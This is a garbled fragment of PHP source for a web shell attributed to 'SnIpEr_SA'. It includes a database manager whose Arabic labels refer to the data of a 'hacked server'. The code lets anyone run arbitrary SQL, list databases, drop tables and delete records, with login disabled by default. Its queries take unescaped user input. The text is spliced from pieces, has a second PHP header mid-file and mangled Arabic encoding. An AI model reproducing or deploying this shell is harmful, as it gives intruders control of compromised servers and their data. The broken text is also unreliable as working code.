"; die(); }
if(isset($_GET['sqlman'])) {
session_start();
$action = $HTTP_GET_VARS['action'];
$pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page.
function show_login($dbnamearray){
$hostdefault="localhost";
echo"
";
echo"
\n";
}
function dbrestrict(){
if(isset($_SESSION['user'])){
$user=$_SESSION['user'];
switch($user){
//Edit these ** values. You can add more case statements.
case '**User**':
$dbnamearray= array('**dbname**', '**dbname2**', '**dbname**');
break;
//end edit values
default:
$_SESSION['defaltuser']=true;
$dbnamearray = array();
$link = connectmysql();
$db_list = mysql_list_dbs($link); //$db_list
$cnt = mysql_num_rows($db_list);
for ($i =0; $i < $cnt; $i++) {
$dbnamearray[$i]= mysql_db_name($db_list, $i);
}
}
return $dbnamearray;
}
}
//***************************************************************
//function showdbs($dbnamearray, $backuppath){
function showdbs($dbnamearray){
//$backuppath=addslashes($backuppath);
echo"
\n";
for ($i =0; $i < count($dbnamearray); $i++) {
echo"
<?php
/**/
/
~~~~~~~~~~~~~~~~~~~~//* (c)oded by SnIpEr_SA
/* MAIL http://sniper-sa.com , http://sniper-sa.com
/**/
/*
~ ÇáÎíÇÑÇÊ | Options ~*/// ÇááÛÉ | Language
// $language='eng' - english (english)
// $language='ar' - arabi (arabi)
$language='ar';
// ?????????????? | Authentification
// $auth = 1; - áÊÝÚíá ÇáÏÎæá Èßáãå ÇáãÑæÑ ( authentification = On )
// $auth = 0; - áÇíÞÇÝ ÇáÏÎæá ÈßáãÉ ÇáãÑæÑ ( authentification = Off )
$auth = 0;
// áÏÎæá ÈßáãÉ ãÑæÑ æÇÓã ãÓÊÎÏã (Login & Password for access)
// áÍãÇíÉ ÇáÓßÑÈÊ ãä ÏÎæá ÛíÑß ÛíÑ ÇáÊÇáí!!! (CHANGE THIS!!!)
// åäÇ æÖÚß ßáãå ÇáãÑæÑ æåí ãÔÝÑå ÈÕíÛå md5, æßáãÉÚ ÇáãÑæÑ åäÇ åí 'sniper'
// ÊÓÊÚØíÚ Çä ÊÔÝÑ ßáãÉ ãÑæÑß æÇÓã ÇáãÓÊÎÏã ÈÕíÛÉ md5 ææÖÚåÇ Ýí ÇáÎÇäÇÊ ÇáÊÇáíå
$name='1c27680133b781cadd037e8a6dcc001b'; // ÇÓã ÇáãÓÊÎÏã (user login)
$pass='1c27680133b781cadd037e8a6dcc001b'; // ßáãÉ ÇáãÑæÑ (user password)
/**/
echo "".htmlspecialchars($copy)."";
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.31';
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="SnIpEr_SA shell"');
header('HTTP/1.0 401 Unauthorized');
exit("SnIpEr_SA : Access Denied");
}
}
$head = '
"; echo"The Host: $_SESSION[host], ÇÓã ÇáãÓÊÎÏã: $user Çæ Çáßáãå ÇáÓÑíå ÎØÇÁ.
"; echo"ÝÖáÇð ÓÌá ÎÑæÌ ááãÍÇæáå ãÑå ÇÎÑì.\n"; echo"
Please try again later.\n"; exit(); } } //********************************************************************* function exequery($sql, $tablename, $db){ $result= @mysql_query( $sql ); if($result){ //echo "Query successful"; return $result; }else{ echo"Sorry your Query failed: $sql
error:".mysql_error()."\n"; return false; } } //*************************************************** $fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT", "INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION", "REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" ); //****************** Search Form **************************** function searchtableform($tablename, $dbname){ echo"\n"; } //********************* Search ************************* function searcht($tablename, $dbname, $searchval){ if(! empty($searchval)){ // $searchval= str_replace(";",' ', $searchval); $result=exequery("Select * from $tablename", $tablename, $dbname); //$result=mysql_query("Select * from $tablename"); $num = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); $whr="where "; $tok=explode(" ",$searchval); for ($t =0; $t < count($tok); $t++){ for ( $c = 0; $c < $num; $c++){ $fn =mysql_field_name($fields, $c); $whr .=" $fn like '%$tok[$t]%' or "; } } $whr=trim(substr_replace($whr, " ", -3)); $query="Select * from $tablename $whr"; $result=exequery($query, $tablename, $dbname); return $result; } } //*********************GOTO buttons************************* //provides a form and button. function goto($tablename, $dbname, $action, $class, $name, $va ){ //Adds a button. echo"\n"; //echo"$va"; //} } //*********************** ShowDB *********************************** function showdb(){ //function showdb($backuppath){ $link=connectmysql(); if ($link){ echo"
ÅäÔÇÁ ÞÇÚÏÉ ÌÏíÏÉ
\n"; echo""; echo"
ÞÇÆãå ÇáÞæÇÚÏ ÇáãÊæÝÑå
\n"; //Restrict the database for users $dbnamearray= dbrestrict(); showdbs($dbnamearray); echo"Post: "; foreach($_POST as $pram=>$value){ echo"$pram: $value, "; } echo"
Session: "; foreach($_SESSION as $pram=>$value){ echo"$pram: $value, "; } } echo"\n"; echo"\n"; echo"\n"; echo"
ÓßÑÈÊ ÇáÇÊÕÇá ÈÞæÇÚÏ ÇáÈíÇäÇÊ
\n"; //******************* Session Logon *********************** if(isset($_POST['logout'])){ $_POST['dbname']=""; session_unset(); session_destroy(); } if(isset($_POST['userid']) && isset($_POST['pword1'])){ $_SESSION['user'] = $_POST['userid']; $_SESSION['password'] = $_POST['pword1']; } if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){ echo"ÇÏÎá ÈíÇäÇÊ ÇáÓíÑÝÑ ÇáãÎÊÑÞ
\n"; If(!isset($dbnamearray)){ $dbnamearray=""; } show_login($dbnamearray); echo"ÞÇÚÏÉ ÌÏíÏÉ $_SESSION[dbname]
\n"; } } } //********************************************* if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post //Databse names showdb(); } //************************ Choose DB ************* if(isset($_POST['dbname']) && $_POST['dbname']==""){ showdb(); } //********** if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){ //************************************* //connection if (isset($_SESSION['dbname'])){ $dbsetname = $_SESSION['dbname']; }elseif(isset($_POST['dbname'])){ $dbsetname = $_POST['dbname']; $_SESSION['dbname'] = $_POST['dbname']; }else{ $dbsetname = $_POST['dbna']; $_SESSION['dbname'] = $_POST['dbna']; } } //*************************** we have a DB set if(isset($dbsetname) && $dbsetname!=""){ $link= connectmysql(); //echo"DBS: $dbsetname"; $conn = connectdb($dbsetname, $link); //*********** Drop Table ************** if(isset($_POST['deltable'])){ $showall=false; $tablename=$_POST['tablename']; echo"!!! ÊÍÐíÑ !!!
\n"; $va="Drop $tablename"; goto($tablename, $dbname,$action, 'del', 'droptab', $va ); } if(isset($_POST['droptab'])){ $tablename=$_POST['tablename']; $dsql = "drop table $tablename"; $result=exequery($dsql, $tablename, $dbname); unset($tablename); //="false"; unset($_POST['tablename']); } //*****************Write Your Own Query ***************** if(isset($_POST['wyoq'])){ //post $value="ÇáæÇÌåå ÇáÑÆíÓíå ááÓßÑÈÊ"; goto($tablename, $dbname, $action, 'but', 'start', $value ); echo"ÇäÊ ÊÍÇæá ãÓÍ åÐÇ ÇáÌÏæá $tablename
"; echo"åá ÇäÊ ãÊÇßÏ ãä ÇáÞíÇã ÈÇáÚãáíå¿?
\n"; } if(isset($_POST['runquery'])){ $wyoqta = StripSlashes($_POST['wyoqta']); $result=exequery($wyoqta, " ", " "); if(@mysql_num_rows($result) >0){ $numrows=mysql_num_rows($result); $flds=mysql_num_fields($result); echo"
"; echo"
\n"; //************************************************** if(isset($_POST['addrec'])){ // $showall=false; $result=addrecord($tablename, $_SESSION['dbname'], $_POST['array']); }elseif(isset($_POST['add'])){ $showall=false; addform($tablename, $_SESSION['dbname']); }elseif(isset($_POST['delete'])){ //delete record has been pushed // $showall=false; $whr=buildwhr($_POST['pk'], $_POST['pv']); $sql = "delete from $tablename where $whr"; $result=exequery($sql, $tablename, $_SESSION['dbname']); }elseif (isset($_POST['edit'])){//Edit $showall=false; $whr = buildwhr( $_POST['pk'], $_POST['pv']); //$tablename = $_SESSION['tablename']; $sql= "Select * from $tablename where $whr"; $result=exequery($sql, $tablename, $_SESSION['dbname']); editform($tablename, $_SESSION['dbname'], $result, 'edit', $_POST['pk'], $_POST['pv']); }elseif(isset($_POST['editrec'])){ // $showall=false; $result=editrec($_SESSION['dbname'],$tablename, $_POST['pk'], $_POST['pv'], $_POST['array']); } //**************** Search ************************************ if(isset($_POST['searchval'])){ $searchval=$_POST['searchval']; }elseif(isset($_GET['searchval'])){ $searchval=$_GET['searchval']; }else{ $searchval=""; } if (isset($_GET['tablename'])){ $tablename = $_GET['tablename']; } if((isset($_POST['search'])|| isset($searchval)) && $searchval !=""){ $result=searcht($tablename, $_SESSION['dbname'], $searchval); }else{ //Display All $query = "select * from $tablename"; $result=exequery($query, $tablename, $_SESSION['dbname']); } //***************** Display record count ***************************************** if($showall){ $num_rows = mysql_num_rows($result); //Workout whick page to display if(!isset($_GET['pg']) && !isset($pg)){ $beg=0; $pg=0; }else{ if(isset($_GET['pback'])){ $pg=$_GET['pg']; }else{ $pg=$_GET['pg']; } if($pg < 0 ){ $pg=0; } if($pg > $num_rows/$pagemax){ $pg=ceil($num_rows/$pagemax)-1; } $beg = $pg * $pagemax; } if (!isset($_POST['add'])){ $pscrol=" "; $pagescrol =" "; $pagescrol = whichpage($num_rows, $pagemax, $pg, $tablename, $searchval); echo "$pagescrol\n"; //Display next Top page menu $flds = mysql_num_fields($result); echo"
"; echo "$pagescrol\n"; //Display bottom next page menu } echo"
\n"; }//showall if(isset($_POST['tablename'])){ echo"
"; switch($sql->query($query)) { case '0': echo "
"; break; } } } } } echo "
"; echo "
"; } echo '
".$lang[$language.'_text56']."
"; } echo "